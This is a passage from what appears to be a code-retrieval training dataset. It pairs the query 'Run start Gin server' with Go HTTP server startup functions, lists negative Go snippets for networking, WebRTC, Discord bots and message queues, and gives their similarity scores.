0)\\n\\totherId := int(msg[1])\\n\\tc.peers = make([]*peer, c.myId+1)\\n\\tc.addPeer(otherId, conn, port)\\n\\tj := 2\\n\\tfor j < len(msg) {\\n\\t\\tid := int(msg[j])\\n\\t\\tj++\\n\\t\\tip, port, k := addrFromBytes(msg[j:])\\n\\t\\tnewConn, err := net.Dial(\\\"tcp\\\", fmt.Sprint(ip, \\\":\\\", port))\\n\\t\\tif err != nil {\\n\\t\\t\\tpanic(\\\"Got error when connecting to addr \\\" + fmt.Sprint(ip, \\\":\\\", port) + \\\": \\\" + err.Error())\\n\\t\\t}\\n\\t\\twrite(newConn, []byte{0, byte(c.myId), byte(c.myPort / 256), byte(c.myPort % 256)})\\n\\t\\tc.addPeer(id, newConn.(*net.TCPConn), port)\\n\\t\\tgo c.receive(c.peers[id])\\n\\t\\tj += k\\n\\t}\\n\\tgo c.receive(c.peers[otherId])\\n\\treturn c.myId, nil\\n}\",\n \"func (t *RoomClient) Publish(codec string) {\\n\\tif t.AudioTrack != nil {\\n\\t\\tif _, err := t.pubPeerCon.AddTrack(t.AudioTrack); err != nil {\\n\\t\\t\\tlog.Print(err)\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\t}\\n\\tif t.VideoTrack != nil {\\n\\t\\tif _, err := t.pubPeerCon.AddTrack(t.VideoTrack); err != nil {\\n\\t\\t\\tlog.Print(err)\\n\\t\\t\\tpanic(err)\\n\\t\\t}\\n\\t}\\n\\n\\tt.pubPeerCon.OnICEConnectionStateChange(func(connectionState webrtc.ICEConnectionState) {\\n\\t\\tlog.Printf(\\\"Client %v producer State has changed %s \\\\n\\\", t.name, connectionState.String())\\n\\t})\\n\\n\\t// Create an offer to send to the browser\\n\\toffer, err := t.pubPeerCon.CreateOffer(nil)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\t// Sets the LocalDescription, and starts our UDP listeners\\n\\terr = t.pubPeerCon.SetLocalDescription(offer)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tpubMsg := biz.PublishMsg{\\n\\t\\tRoomInfo: t.room,\\n\\t\\tRTCInfo: biz.RTCInfo{Jsep: offer},\\n\\t\\tOptions: newPublishOptions(codec),\\n\\t}\\n\\n\\tres := <-t.WsPeer.Request(proto.ClientPublish, pubMsg, nil, nil)\\n\\tif res.Err != nil {\\n\\t\\tlogger.Infof(\\\"publish reject: %d => %s\\\", res.Err.Code, res.Err.Text)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar msg biz.PublishResponseMsg\\n\\terr = json.Unmarshal(res.Result, &msg)\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tt.MediaInfo = msg.MediaInfo\\n\\n\\t// Set the remote SessionDescription\\n\\terr = t.pubPeerCon.SetRemoteDescription(msg.Jsep)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n}\",\n \"func ReceiveFromPeer(remotePID string, payload []byte) {\\n\\t// TODO: implement a cleaner way to do that\\n\\t// Checks during 100 ms if the conn is available, because remote device can\\n\\t// be ready to write while local device is still creating the new conn.\\n\\tfor i := 0; i < 100; i++ {\\n\\t\\tc, ok := connMap.Load(remotePID)\\n\\t\\tif ok {\\n\\t\\t\\t_, err := c.(*Conn).readIn.Write(payload)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlogger.Error(\\\"receive from peer: write\\\", zap.Error(err))\\n\\t\\t\\t}\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\ttime.Sleep(1 * time.Millisecond)\\n\\t}\\n\\n\\tlogger.Error(\\n\\t\\t\\\"connmgr failed to read from conn: unknown conn\\\",\\n\\t\\tzap.String(\\\"remote address\\\", remotePID),\\n\\t)\\n\\tmcdrv.CloseConnWithPeer(remotePID)\\n}\",\n \"func Connect(token string) error {\\n\\tdg, err := discordgo.New(\\\"Bot \\\" + token)\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"error creating Discord session,\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tdg.AddHandler(manager)\\n\\tchannels, _ := dg.GuildChannels(\\\"675106841436356628\\\")\\n\\n\\tfor _, v := range channels {\\n\\t\\tfmt.Printf(\\\"Channel id: %s Channel name: %s\\\\n\\\", v.ID, v.Name)\\n\\t}\\n\\n\\t// This function sends message every hour concurrently.\\n\\tgo func() {\\n\\t\\tfor range time.NewTicker(time.Hour).C {\\n\\t\\t\\t_, err := dg.ChannelMessageSend(\\\"675109890204762143\\\", \\\"dont forget washing ur hands!\\\")\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Println(\\\"couldn't send ticker message\\\", err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\terr = dg.Open()\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"error opening connection,\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\t// Wait here until CTRL-C or other term signal is received.\\n\\tfmt.Println(\\\"Bot is now running. Press CTRL-C to exit.\\\")\\n\\tsc := make(chan os.Signal, 1)\\n\\tsignal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)\\n\\t<-sc\\n\\t// Cleanly close down the Discord session.\\n\\tdg.Close()\\n\\treturn nil\\n}\",\n \"func join(channel string) {\\n\\tIRCOutgoing <- \\\"JOIN \\\" + channel\\n}\",\n \"func (m *ConnManager) Broadcast(conn *websocket.Conn, msg *Message) {\\n\\tm.Foreach(func(k, v interface{}) {\\n\\t\\tif c, ok := v.(*websocket.Conn); ok && c != conn {\\n\\t\\t\\tif err := websocket.JSON.Send(c, msg); err != nil {\\n\\t\\t\\t\\tfmt.Println(\\\"Send msg error: \\\", err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t})\\n}\",\n \"func (e *EventQueue) FireConnect(m *message.Connect) {\\n\\n\\trequest := &PlayerConnect{\\n\\t\\tpayload: m,\\n\\t\\tsubscribers: e.ConnectListeners,\\n\\t}\\n\\te.primaryQ <- request\\n}\",\n \"func (s *Sender) connect() net.Conn {\\n\\tbaseGap := 500 * time.Millisecond\\n\\tfor {\\n\\t\\tconn, err := net.Dial(\\\"tcp\\\", s.addr)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Print(err)\\n\\t\\t\\ttime.Sleep(baseGap)\\n\\t\\t\\tbaseGap *= 2\\n\\t\\t\\tif baseGap > time.Second*30 {\\n\\t\\t\\t\\tbaseGap = time.Second * 30\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tdebugInfo(fmt.Sprintf(\\\"local addr:%s\\\\n\\\", conn.LocalAddr()))\\n\\t\\treturn conn\\n\\t}\\n}\",\n \"func (r *RabbitMQ) Connect() (err error) {\\n\\tr.conn, err = amqp.Dial(Conf.AMQPUrl)\\n\\tif err != nil {\\n\\t\\tlog.Info(\\\"[amqp] connect error: %s\\\\n\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tr.channel, err = r.conn.Channel()\\n\\tif err != nil {\\n\\t\\tlog.Info(\\\"[amqp] get channel error: %s\\\\n\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tr.done = make(chan error)\\n\\treturn nil\\n}\",\n \"func (h *Hub) Connect() *Conn {\\n\\tr := &Conn{\\n\\t\\tparent: h,\\n\\t\\tvalueQ: make(chan Value, 16),\\n\\t}\\n\\n\\tr.Value = r.valueQ\\n\\treturn r\\n}\",\n \"func (conn *Connection) PushToLobby() {\\n\\tif conn.done() {\\n\\t\\treturn\\n\\t}\\n\\tconn.wGroup.Add(1)\\n\\tdefer func() {\\n\\t\\tconn.wGroup.Done()\\n\\t}()\\n\\n\\tconn.setRoom(nil)\\n\\tconn.setBoth(false)\\n}\",\n \"func (conn *Conn) Connect() error {\\n\\tu := url.URL{Scheme: \\\"wss\\\", Host: IP}\\n\\tsocket, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif conn.length < 1 {\\n\\t\\tconn.length = 50\\n\\t}\\n\\tif conn.generator == nil {\\n\\t\\tconn.generator = nonce.WichmannHill\\n\\t}\\n\\tconn.socket = socket\\n\\tconn.done = make(chan bool)\\n\\tconn.isConnected = true\\n\\tgo conn.reader()\\n\\tgo conn.ticker()\\n\\tif conn.topics != nil {\\n\\t\\tvar wg sync.WaitGroup\\n\\t\\tconn.listeners.Lock()\\n\\t\\trejoined := make(map[string][]string)\\n\\t\\tfor token, topics := range conn.topics {\\n\\t\\t\\twg.Add(1)\\n\\t\\t\\tgo func(token string, topics ...string) {\\n\\t\\t\\t\\tif err := conn.ListenWithAuth(token, topics...); err == nil {\\n\\t\\t\\t\\t\\trejoined[token] = topics\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\twg.Done()\\n\\t\\t\\t}(token, topics...)\\n\\t\\t}\\n\\t\\tconn.listeners.Unlock()\\n\\t\\twg.Wait()\\n\\t\\tconn.listeners.Lock()\\n\\t\\tdefer conn.listeners.Unlock()\\n\\t\\tconn.topics = rejoined\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.61180705","0.59233904","0.58597594","0.5852887","0.5807643","0.5746078","0.57230395","0.5710187","0.5707006","0.5681951","0.56719863","0.5655077","0.5651875","0.5590391","0.55843097","0.5560937","0.5555141","0.5539233","0.54988444","0.54941523","0.5476945","0.5475803","0.54638475","0.54465175","0.54247516","0.54220945","0.5410934","0.5406836","0.54065543","0.5404074","0.54021937","0.5395149","0.5390698","0.53898317","0.5388028","0.5385943","0.5377969","0.5362739","0.53295386","0.5321328","0.53131366","0.5305728","0.52934766","0.5290486","0.5246391","0.52389336","0.522962","0.5228924","0.52264225","0.5205958","0.52030545","0.5195206","0.51877886","0.5185714","0.51826686","0.5178057","0.51776004","0.5174543","0.5170754","0.51679516","0.5166513","0.51641023","0.5150235","0.5143806","0.5141573","0.513917","0.5137905","0.51232976","0.51191455","0.51036793","0.5094132","0.50915676","0.50908476","0.5088132","0.5082886","0.50795394","0.5079377","0.5072719","0.50713694","0.5068643","0.50682217","0.5065375","0.50630856","0.5062179","0.50599575","0.5059433","0.50529796","0.50518453","0.5050247","0.50296944","0.5028801","0.50273466","0.50192475","0.50189036","0.501072","0.50028616","0.50024927","0.49935845","0.4990736","0.497706"],"string":"[\n \"0.61180705\",\n \"0.59233904\",\n \"0.58597594\",\n \"0.5852887\",\n \"0.5807643\",\n \"0.5746078\",\n \"0.57230395\",\n \"0.5710187\",\n \"0.5707006\",\n \"0.5681951\",\n \"0.56719863\",\n \"0.5655077\",\n \"0.5651875\",\n \"0.5590391\",\n \"0.55843097\",\n \"0.5560937\",\n \"0.5555141\",\n \"0.5539233\",\n \"0.54988444\",\n \"0.54941523\",\n \"0.5476945\",\n \"0.5475803\",\n \"0.54638475\",\n \"0.54465175\",\n \"0.54247516\",\n \"0.54220945\",\n \"0.5410934\",\n \"0.5406836\",\n \"0.54065543\",\n \"0.5404074\",\n \"0.54021937\",\n \"0.5395149\",\n \"0.5390698\",\n \"0.53898317\",\n \"0.5388028\",\n \"0.5385943\",\n \"0.5377969\",\n \"0.5362739\",\n \"0.53295386\",\n \"0.5321328\",\n \"0.53131366\",\n \"0.5305728\",\n \"0.52934766\",\n \"0.5290486\",\n \"0.5246391\",\n \"0.52389336\",\n \"0.522962\",\n \"0.5228924\",\n \"0.52264225\",\n \"0.5205958\",\n \"0.52030545\",\n \"0.5195206\",\n \"0.51877886\",\n \"0.5185714\",\n \"0.51826686\",\n \"0.5178057\",\n \"0.51776004\",\n \"0.5174543\",\n \"0.5170754\",\n \"0.51679516\",\n \"0.5166513\",\n \"0.51641023\",\n \"0.5150235\",\n \"0.5143806\",\n \"0.5141573\",\n \"0.513917\",\n \"0.5137905\",\n \"0.51232976\",\n \"0.51191455\",\n \"0.51036793\",\n \"0.5094132\",\n \"0.50915676\",\n \"0.50908476\",\n \"0.5088132\",\n \"0.5082886\",\n \"0.50795394\",\n \"0.5079377\",\n \"0.5072719\",\n \"0.50713694\",\n \"0.5068643\",\n \"0.50682217\",\n \"0.5065375\",\n \"0.50630856\",\n \"0.5062179\",\n \"0.50599575\",\n \"0.5059433\",\n \"0.50529796\",\n \"0.50518453\",\n \"0.5050247\",\n \"0.50296944\",\n \"0.5028801\",\n \"0.50273466\",\n \"0.50192475\",\n \"0.50189036\",\n \"0.501072\",\n \"0.50028616\",\n \"0.50024927\",\n \"0.49935845\",\n \"0.4990736\",\n \"0.497706\"\n]"},"document_score":{"kind":"string","value":"0.65273356"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106145,"cells":{"query":{"kind":"string","value":"Run start Gin server"},"document":{"kind":"string","value":"func Run() {\n\trouter := getRouter()\n\ts := &http.Server{\n\t\tAddr: \"0.0.0.0:8080\",\n\t\tHandler: router,\n\t\tReadTimeout: 10 * time.Second,\n\t\tWriteTimeout: 10 * time.Second,\n\t\tMaxHeaderBytes: 1 << 20,\n\t}\n\ts.ListenAndServe()\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func main() {\n\trouter := gin.Default()\n\trouter.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\trouter.Run() // listen and serve on 0.0.0.0:8080\n\t//router.Run(\":8080\")\t\n}","func main() {\n\t// load config\n\tconfig.Init()\n\n\t// services\n\tservices.Init()\n\n\t// start gin server\n\trouter.RunGin()\n}","func Gin(port int, setup func(*gin.Engine)) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"start\",\n\t\tShort: \"start a gin server\",\n\t}\n\n\tactualPort := cmd.Flags().Int(\"port\", port, fmt.Sprintf(\"port to bind to, defaults to %d\", port))\n\n\tcmd.RunE = func(cmd *cobra.Command, args []string) error {\n\t\tsrv := gin.Default()\n\t\tsetup(srv)\n\n\t\treturn srv.Run(fmt.Sprintf(\":%d\", *actualPort))\n\t}\n\n\treturn cmd\n}","func main() {\n\tfmt.Println(\"server is up and running!!\")\n\truntime.GOMAXPROCS(4)\n\n\tapp := gin.Default()\n\n\tsearch.RouterMain(app)\n\n\terr := app.Run(\"0.0.0.0:5000\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Println(\"server got fired!!!!\")\n}","func (s *server) Run() error {\n\ts.logger.Info(\"starting http server\", logger.String(\"addr\", s.server.Addr))\n\ts.server.Handler = s.gin\n\t// Open listener.\n\ttrackedListener, err := conntrack.NewTrackedListener(\"tcp\", s.addr, s.r)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn s.server.Serve(trackedListener)\n}","func (h *Server) Run() {\n\n\th.g.StartServer()\n}","func (c Routes) StartGin() {\n\tr := gin.Default()\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.GET(\"/\", welcome)\n\t\tapi.GET(\"/users\", user.GetAllUsers)\n\t\tapi.POST(\"/users\", user.CreateUser)\n\t}\n\tr.Run(\":8000\")\n}","func (c Routes) StartGin() {\n\tr := gin.Default()\n\tr.Use(cors.Default())\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.GET(\"/\", welcome)\n\t\tapi.GET(tasksResource, task.GetTasks)\n\t\tapi.GET(taskResource, task.GetTask)\n\t\tapi.POST(taskResource, task.CreateTask)\n\t\tapi.PATCH(taskResource, task.UpdateTaskStatus)\n\t\tapi.DELETE(taskResource, task.DeleteTask)\n\t}\n\n\tr.Run(\":8000\")\n}","func main() {\n\trouter := gin.Default()\n\trouter.GET(\"/puppy\", handlePuppy)\n\trouter.Run() // listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n}","func (api *API) Run() {\n\tr := gin.Default()\n\n\tapi.configRoutes(r)\n\n\tr.Run() // listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n}","func (s *server) runGin(addr string) error {\n\t// s.gin.Run() would not return until error happens or detecting signal\n\t// return s.gin.Run(fmt.Sprintf(\":%d\", s.port))\n\ts.logger.Debug(fmt.Sprintf(\"Listening and serving HTTP on %s\", addr))\n\n\tsrv := &http.Server{\n\t\tAddr: addr,\n\t\tHandler: s.gin,\n\t}\n\tgo func() {\n\t\tif err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t\ts.logger.Error(\"fail to call ListenAndServe()\", zap.Error(err))\n\t\t}\n\t}()\n\tdone := make(chan os.Signal, 1)\n\tsignal.Notify(done, syscall.SIGINT, syscall.SIGTERM)\n\t<-done\n\n\ts.logger.Info(\"Shutting down server...\")\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer func() {\n\t\tcancel()\n\t\ts.Close()\n\t}()\n\tif err := srv.Shutdown(ctx); err != nil {\n\t\ts.logger.Error(\"fatal to call Shutdown():\", zap.Error(err))\n\t\treturn err\n\t}\n\treturn nil\n}","func StartServer() {\n\tr := gin.Default()\n\n\tcorsCfg := cors.DefaultConfig()\n\tcorsCfg.AllowOrigins = []string{\"http://localhost:1234\"}\n\tr.Use(cors.New(corsCfg))\n\n\tapi := r.Group(\"/api\")\n\t{\n\t\tapi.Any(\"/graphql\", graphQL)\n\t\tapi.GET(\"/players\", players)\n\t\tapi.GET(\"/player_datas\", playerDatas)\n\t}\n\n\tport := os.Getenv(\"PORT\")\n\tif len(port) == 0 {\n\t\tport = \"8080\"\n\t}\n\tr.Run(fmt.Sprintf(\":%s\", port))\n}","func runServer() {\n\t// listen and serve on 0.0.0.0:8080 (for windows \"localhost:8080\")\n\tlog.Fatalln(router.Run(fmt.Sprintf(\":%s\", env.AppPort)))\n}","func (s Server) Run() {\n\tlog.Printf(\"[INFO] activate rest server\")\n\n\tgin.SetMode(gin.ReleaseMode)\n\trouter := gin.New()\n\trouter.Use(gin.Recovery())\n\trouter.Use(s.limiterMiddleware())\n\trouter.Use(s.loggerMiddleware())\n\n\tv1 := router.Group(\"/v1\")\n\t{\n\t\tv1.POST(\"/message\", s.saveMessageCtrl)\n\t\tv1.GET(\"/message/:key/:pin\", s.getMessageCtrl)\n\t\tv1.GET(\"/params\", s.getParamsCtrl)\n\t\tv1.GET(\"/ping\", func(c *gin.Context) { c.String(200, \"pong\") })\n\t}\n\n\tlog.Fatal(router.Run(\":8080\"))\n}","func (server *Server) runServer() {\n\tserver.G.Go(func() error {\n\t\tserver.API.log.Info(\"running server %v\", server.config.Server.ListenAddr)\n\t\treturn http.ListenAndServe(server.config.Server.ListenAddr, server.Server.Handler)\n\t})\n}","func (s *Server) Run() {\n\trouter := gin.Default()\n\n\tv1 := router.Group(\"/v1\")\n\t{\n\t\tv1.POST(\"/login\", s.authMiddleware.LoginHandler)\n\t\tv1.POST(\"/users\", s.createUser)\n\n\t\tv1.Use(s.authMiddleware.MiddlewareFunc())\n\t\t{\n\n\t\t\tv1.GET(\"/tasks\", s.allTasks)\n\t\t\tv1.GET(\"/tasks/:id\", s.getTask)\n\t\t\tv1.POST(\"/tasks\", s.createTask)\n\t\t\tv1.PUT(\"/tasks/:id\", s.updateTask)\n\t\t}\n\t}\n\n\trouter.Run(\":\" + s.config.Port)\n}","func Run() error {\n\tgo server.ListenAndServe()\n\t// TODO: Improve error handling\n\treturn nil\n}","func Run() error {\n\tcloseLogger, err := setupLogger()\n\tif err != nil {\n\t\treturn fail.Wrap(err)\n\t}\n\tdefer closeLogger()\n\n\ts := grapiserver.New(\n\t\tgrapiserver.WithGrpcServerUnaryInterceptors(\n\t\t\tgrpc_ctxtags.UnaryServerInterceptor(grpc_ctxtags.WithFieldExtractor(grpc_ctxtags.CodeGenRequestFieldExtractor)),\n\t\t\tgrpc_zap.UnaryServerInterceptor(zap.L()),\n\t\t\tgrpc_zap.PayloadUnaryServerInterceptor(\n\t\t\t\tzap.L(),\n\t\t\t\tfunc(ctx context.Context, fullMethodName string, servingObject interface{}) bool { return true },\n\t\t\t),\n\t\t),\n\t\tgrapiserver.WithGatewayServerMiddlewares(\n\t\t\tgithubEventDispatcher,\n\t\t),\n\t\tgrapiserver.WithServers(\n\t\t\tgithub.NewInstallationEventServiceServer(),\n\t\t),\n\t)\n\treturn s.Serve()\n}","func Start() {\n\tr := gin.Default()\n\tr.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\tr.POST(\"/registry\", controllers.InsertRegistry)\n\tr.GET(\"/registry\", controllers.GetRegistryAll)\n\tr.GET(\"/registry/:id/\", controllers.GetRegistry)\n\tr.DELETE(\"/registry/:id/\", controllers.DeleteRegistry)\n\tr.PUT(\"/registry/:id/\", controllers.PutRegistry)\n\tr.Run(\":8080\") // listen and serve on 0.0.0.0:8080\n}","func RunServer(server *ophttp.Server) {\n\thttp.Handle(\"/greeting\", http.HandlerFunc(GreetingHandler))\n\tserver.Start()\n}","func Run() error {\n\ts := grapiserver.New(\n\t\tgrapiserver.WithDefaultLogger(),\n\t\tgrapiserver.WithServers(\n\t\t// TODO\n\t\t),\n\t)\n\treturn s.Serve()\n}","func main() {\n\tserver.New().Start()\n}","func (s *server) Start() (*gin.Engine, error) {\n\ts.logger.Info(\"server Start()\")\n\n\ts.setMiddleware()\n\n\tif err := s.loadTemplates(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := s.loadStaticFiles(); err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.setRouter(s.gin)\n\n\t// set profiling for development use\n\tif s.developConf.ProfileEnable {\n\t\tginpprof.Wrapper(s.gin)\n\t}\n\n\t// s.run() is not required if working for unittest\n\tif s.isTestMode {\n\t\treturn s.gin, nil\n\t}\n\n\terr := s.run()\n\treturn nil, err\n}","func Start() {\n\trouter := gin.Default()\n\trouter.SetFuncMap(map[string]interface{}{\n\t\t\"formatAsTimeAgo\": formatAsTimeAgo,\n\t})\n\trouter.LoadHTMLGlob(\"templates/*\")\n\t// Mount favicon\n\trouter.Use(favicon.New(\"./favicon.ico\"))\n\n\t// Not found\n\trouter.NoRoute(func(c *gin.Context) {\n\t\tc.HTML(404, \"404.html\", gin.H{})\n\t})\n\n\t// Mount controllers\n\tMountIndexController(router)\n\n\trouter.GET(\"/ping\", func(c *gin.Context) {\n\t\tc.JSON(200, gin.H{\n\t\t\t\"message\": \"pong\",\n\t\t})\n\t})\n\n\trouter.Run()\n}","func (server *Server) Run(addr string) {\n\tlog.Println(\"Yinyo is ready and waiting.\")\n\tlog.Fatal(http.ListenAndServe(addr, server.router))\n}","func StartApplicatin() {\n\tmapUrls()\n\trouter.Run(\":8080\")\n}","func Run() error {\n\ts := grapiserver.New(\n\t\tgrapiserver.WithDefaultLogger(),\n\t\tgrapiserver.WithGrpcAddr(\"tcp\", \":3000\"),\n\t\tgrapiserver.WithGatewayAddr(\"tcp\", \":4000\"),\n\t\tgrapiserver.WithServers(\n\t\t\tserver.NewInvoiceServiceServer(),\n\t\t),\n\t)\n\treturn s.Serve()\n}","func Run() error {\n\tvar err error\n\n\ts := NewServer()\n\tport := \":1729\"\n\tfmt.Printf(\"Listening on %s...\\n\", port)\n\thttp.ListenAndServe(port, s)\n\n\treturn err\n}","func (s *Server) Run() {\n\tgo func() {\n\t\t// start serving\n\t\tif err := s.httpServer.ListenAndServe(); err != nil {\n\t\t\tlog.Errora(err)\n\t\t}\n\t}()\n}","func (s *Server) Run() error {\n\tbg := s.logger.Bg()\n\tlis, err := net.Listen(\"tcp\", s.hostPort)\n\n\tif err != nil {\n\t\tbg.Fatal(\"Unable to start server\", zap.Error(err))\n\t\treturn err\n\t}\n\n\tbg.Info(\"Starting\", zap.String(\"address\", \"tcp://\"+s.hostPort))\n\treturn s.Gs.Serve(lis)\n}","func Run(apps map[string]interface{}, port string) {\n\trouter := mux.NewRouter()\n\tinitialize(apps, router)\n\n\tn := negroni.Classic()\n\tn.UseHandler(router)\n\tn.Run(\":\" + port)\n}","func main() {\n\ta := App{}\n\ta.Initialize()\n\ta.Run(\":8000\")\n}","func StartApp() {\n\turlMappings()\n\trouter.Run(\"localhost:8080\")\n}","func GinServer() {\n\t// Set Gin to production mode\n\tgin.SetMode(gin.ReleaseMode)\n\n\t// Set the router as the default one provided by Gin\n\trouter = gin.Default()\n\n\t// Process the templates at the start so that they don't have to be loaded\n\t// from the disk again. This makes serving HTML pages very fast.\n\trouter.LoadHTMLGlob(\"static/templates/*\")\n\n\t// Initialize the routes\n\tinitializeRoutes()\n\n\thttp.Handle(\"/\", router)\n}","func Run() {\n\n\tgo func() {\n\t\terrors := setupTemplates(\"server/templates\")\n\t\tif errors != nil {\n\t\t\tfmt.Println(errors)\n\t\t}\n\t}()\n\n\tfmt.Println(\"Starting server...\")\n\thttp.HandleFunc(\"/\", index)\n\thttp.HandleFunc(\"/view\", view)\n\thttp.Handle(\"/static/\", http.StripPrefix(\"/static/\", http.FileServer(http.Dir(\"server/static/\"))))\n\thttp.ListenAndServe(\":8080\", nil)\n}","func main() {\n\tserver.StartUp(false)\n}","func main() {\n\tfmt.Println(\"################################\")\n\tfmt.Println(\"#### Hello from MyAppStatus ####\")\n\tfmt.Println(\"################################\")\n\n\tapp.StartServer()\n}","func Run(cfg *config.Config) {\n\n\tvar wg sync.WaitGroup\n\n\twg.Add(2)\n\tr := newRouter(cfg.StaticPath)\n\tport := os.Getenv(\"PORT\")\n\tif port != \"\" {\n\t\t// production\n\t\tlog.WithField(\"port\", port).Info(\"Server started\")\n\t\tlog.Fatal(http.ListenAndServe(\":\"+port, r))\n\t} else {\n\t\t// dev\n\t\tserve(wg, cfg, r)\n\t}\n\n\twg.Wait()\n}","func Run() {\n\tApp.Init()\n\n\tif Config.String(\"address\") != \"\" {\n\t\tLog.Info(fmt.Sprintf(\"listening on %s\", Config.String(\"address\")))\n\t\tLog.Error(http.ListenAndServe(Config.String(\"address\"), App.Router))\n\t} else {\n\t\tLog.Info(fmt.Sprintf(\"listening on port :%d\", Config.Int(\"port\")))\n\t\tLog.Error(http.ListenAndServe(fmt.Sprintf(\":%d\", Config.Int(\"port\")), App.Router))\n\t}\n}","func (f *Floki) Run() {\n\tlogger := f.logger\n\n\tif Env == Prod {\n\t\truntime.GOMAXPROCS(runtime.NumCPU())\n\t}\n\n\ttplDir := f.GetParameter(\"views dir\").(string)\n\tf.SetParameter(\"templates\", compileTemplates(tplDir, logger))\n\n\tport := os.Getenv(\"PORT\")\n\tif port == \"\" {\n\t\tport = \"3000\"\n\t}\n\n\thost := os.Getenv(\"HOST\")\n\t_ = host\n\n\taddr := host + \":\" + port\n\tlogger.Printf(\"listening on %s (%s)\\n\", addr, Env)\n\n\tif err := http.ListenAndServe(addr, f); err != nil {\n\t\tpanic(err)\n\t}\n}","func (s *Server) Run(options ...func(*gin.RouterGroup)) {\n\tlog.Printf(\"[INFO] activate rest server\")\n\n\trouter := gin.New()\n\n\trouter.Use(gin.Recovery())\n\n\trouter.Use(s.loggerMiddleware())\n\n\trouter.GET(\"/ping\", s.pingCtrl)\n\n\tv1 := router.Group(\"/v1\")\n\n\t// Cors headers\n\tconfigCors := cors.DefaultConfig()\n\tconfigCors.AllowAllOrigins = true\n\tconfigCors.AllowHeaders = []string{\"Origin\", \"Content-Length\", \"Content-Type\", \"Authorization\"}\n\n\tv1.Use(cors.New(configCors))\n\n\t// Set Authorization if we have ENV settings\n\tif len(s.BasicAuthUser) > 0 {\n\t\tv1.Use(gin.BasicAuth(gin.Accounts{\n\t\t\ts.BasicAuthUser: s.BasicAuthPWD,\n\t\t}))\n\t}\n\n\tfor _, op := range options {\n\t\tif op != nil {\n\t\t\top(v1)\n\t\t}\n\t}\n\n\tlog.Fatal(router.Run(\":\" + s.ServerPort))\n}","func Run() error {\n\tgo StartServer()\n\n\tlis, err := net.Listen(\"tcp\", \":50051\")\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to listen: %v\", err)\n\t}\n\n\ts := grpc.NewServer()\n\n\tklessapi.RegisterKlessAPIServer(s, &apiserver.APIServer{})\n\tif err := s.Serve(lis); err != nil {\n\t\tlog.Fatalf(\"failed to serve: %v\", err)\n\t}\n\treturn nil\n}","func (s *SamFSServer) Run() error {\n\tlis, err := net.Listen(\"tcp\", s.port)\n\tif err != nil {\n\t\tglog.Fatalf(\"falied to listen on port :: %s(err=%s)\", s.port, err.Error())\n\t\treturn err\n\t}\n\n\trand.Seed(time.Now().UnixNano())\n\ts.sessionID = rand.Int63()\n\tglog.Infof(\"starting new server with sessionID %d\", s.sessionID)\n\n\tgs := grpc.NewServer()\n\tpb.RegisterNFSServer(gs, s)\n\ts.grpcServer = gs\n\treturn gs.Serve(lis)\n}","func main() {\n\tserver := server.NewHTTPServer()\n\tserver.Start(3000)\n}","func (a *App) Run() {\n\tlog.Fatal(http.ListenAndServe(\":8000\", a.router))\n}","func (s *Server) Run(addr string) {\n\tfmt.Println(\"Listening to port 8080\")\n\tlog.Fatal(http.ListenAndServe(addr, s.Router))\n}","func (h *Handler) Run() {\n\tlog.Printf(\"Listening on %s\", h.Cfg.Server.Address)\n\tserver := &http.Server{\n\t\tHandler: getRouter(),\n\t\tAddr: h.Cfg.Server.Address,\n\t}\n\th.listenErrCh <- server.ListenAndServe()\n}","func Example() {\n\thttpgo.NewServer(\"foo\", \"1.1.0\", true).Start(\"127.0.0.1\", 8000, \"turing\")\n}","func Run() error {\n\tr := mux.NewRouter()\n\n\tr.HandleFunc(\"/\", home.Handler)\n\tr.HandleFunc(\"/login\", login.Handler)\n\tr.HandleFunc(\"/logout\", logout.Handler)\n\tr.HandleFunc(\"/callback\", 